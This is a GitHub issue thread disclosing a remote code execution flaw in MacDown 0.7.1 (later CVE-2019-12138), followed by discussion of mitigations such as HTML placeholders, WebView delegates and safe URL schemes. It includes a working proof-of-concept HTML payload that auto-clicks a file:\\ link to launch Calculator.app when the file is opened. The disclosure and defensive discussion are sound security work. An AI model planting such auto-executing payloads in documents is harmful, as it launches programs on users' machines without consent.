Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Macdown Version 0.7.1 (870) Remote Code Execution #1050

Open
r0t0tiller opened this issue Jan 28, 2019 · 7 comments
Open

Macdown Version 0.7.1 (870) Remote Code Execution #1050

r0t0tiller opened this issue Jan 28, 2019 · 7 comments

Comments

@r0t0tiller
Copy link

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

poc

PoC.md.zip

@FranklinYu
Copy link
Member

I'm not sure whether we can do anything about it other than prompting user not to open any random .md file. If we deny access to file-system then this app would be useless.

@pmetzger
Copy link

The app could refuse to open/launch executables.

@kg4zow
Copy link

kg4zow commented May 21, 2019

I personally don't use embedded HTML in my Markdown docs, partly because I don't know what the engine which renders the Markdown is going to know what to do with it (Macdown is one of several programs which "consume" my Markdown docs) and partly because it goes against the whole idea of separating content from presentation. If anything, I'd like to see a way to disable inline HTML rendering entirely. However, I can see where others might find it useful, so...

The app could show some kind of placeholder where the HTML block would appear. When this placeholder is clicked, a pop-up menu would offer the user the following choices:

  • Render the HTML
  • Show the HTML text without rendering it
  • Ignore the HTML (i.e. make the placeholder disappear)

It makes sense for user's choice for each HTML item to be "remembered" when the rendering pane is reloaded. However, for security, these choices should be "forgotten" when the file is closed or the app quits, i.e. the per-item preferences should not be persisted anywhere other than in memory.

Also, there should not be a way to store those per-item preferences in tags or other metadata within the file itself, since the "bad guy" would just add those tags/metadata to their malicious files and override the user's preferences.

Other related app-wide preference settings would be:

  • The user's preferred default method of handling HTML items when documents are opened (i.e. always render, always show as HTML text, show as placeholder (default), or never show at all)
  • Whether or not to allow Javascript when rendering HTML. This would default to false when the app is installed, and the user would need to acknowledge some kind of warning whenever they change it from false to true.
  • Whether to use or ignore inline CSS when rendering HTML. This would also default to false when the app is installed, and the user would need to acknowledge a warning when changing it from false to true - both due to the potential security risks, and the fact that using inline stylesheets would allow the document to override the existing app-wide stylesheet and radically change the appearance of the rendered document.

You should also consider what to do with each block when the document is printed or exported. My suggestion is, If the item is being rendered or shown as text, then the exported content should do the same. If the item is being shown as a placeholder or not shown at all, then the exported content should not include anything for the item.

@NicoleG25
Copy link

Hi @FranklinYu, please note that CVE-2019-12138 was assigned to the issue.
If you disagree with this assignment you may contact Mitre directly.
Thanks in advance !

@FranklinYu
Copy link
Member

FranklinYu commented Apr 22, 2020

The app could refuse to open/launch executables.

@pmetzger I’m not even sure whether it’s possible. There is no code in MacDown that really launches the application, of course. I think it’s simply handled by Finder.

Update: WebView seems to allow delegate. I’m wondering whether I should use that, or I should first upgrade to WkWebView since WebView has been deprecated (#1181).

@FranklinYu
Copy link
Member

The placeholder suggestion from @kg4zow sounds nice, but there are two difficulties:

  1. How to reliably “remember” the HTML block when the file is updated?
  2. How do we inject the placeholder? I assume that it shall not be in the DOM, because the malicious code also have access to the DOM. Any way that we can create such placeholder?

@ezhes
Copy link

ezhes commented Dec 11, 2020

Update: WebView seems to allow delegate. I’m wondering whether I should use that, or I should first upgrade to WkWebView since WebView has been deprecated (#1181).

This really does help on both WKWebView and WebView (which, I believe is actually now just WKWebView through a translation layer?). It always essentially comes down to the [NSWorkspace openURL: ...] API family being a bit overzealous with what it'll open. You can grep around in WebKit to see how Safari does it, but the gist of it is that they have a set of "safe" opener schemes (http[s], data, and maybe a few others) while the rest are either flat out rejected or require user authorization. While github won't let me link-ify it, if you make a link to ssh://test and click it in Safari, you'll get a detailed prompt warning you about an untrusted scheme.

In general though, this is super unexploitable due to the mountains of other macOS mitigations. The main one here is quarantine since nearly every normal way of getting content off the internet will slap a quarantine attr and so openURL: will trigger an operating system level warning before launching any untrusted code. While, yes, an attacker can launch calc or any other random application or file that the user has already opened, they'll have to bypass OS mitigations to get any actually useful code execution. I suppose if someone found a vulnerability that let them overwrite a file they'd be able to chain some stuff together to get a useful exploit, but that's not really what we have. App Sandbox would kill even more issues but I see that's still an open issue due to Sparkle.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

6 participants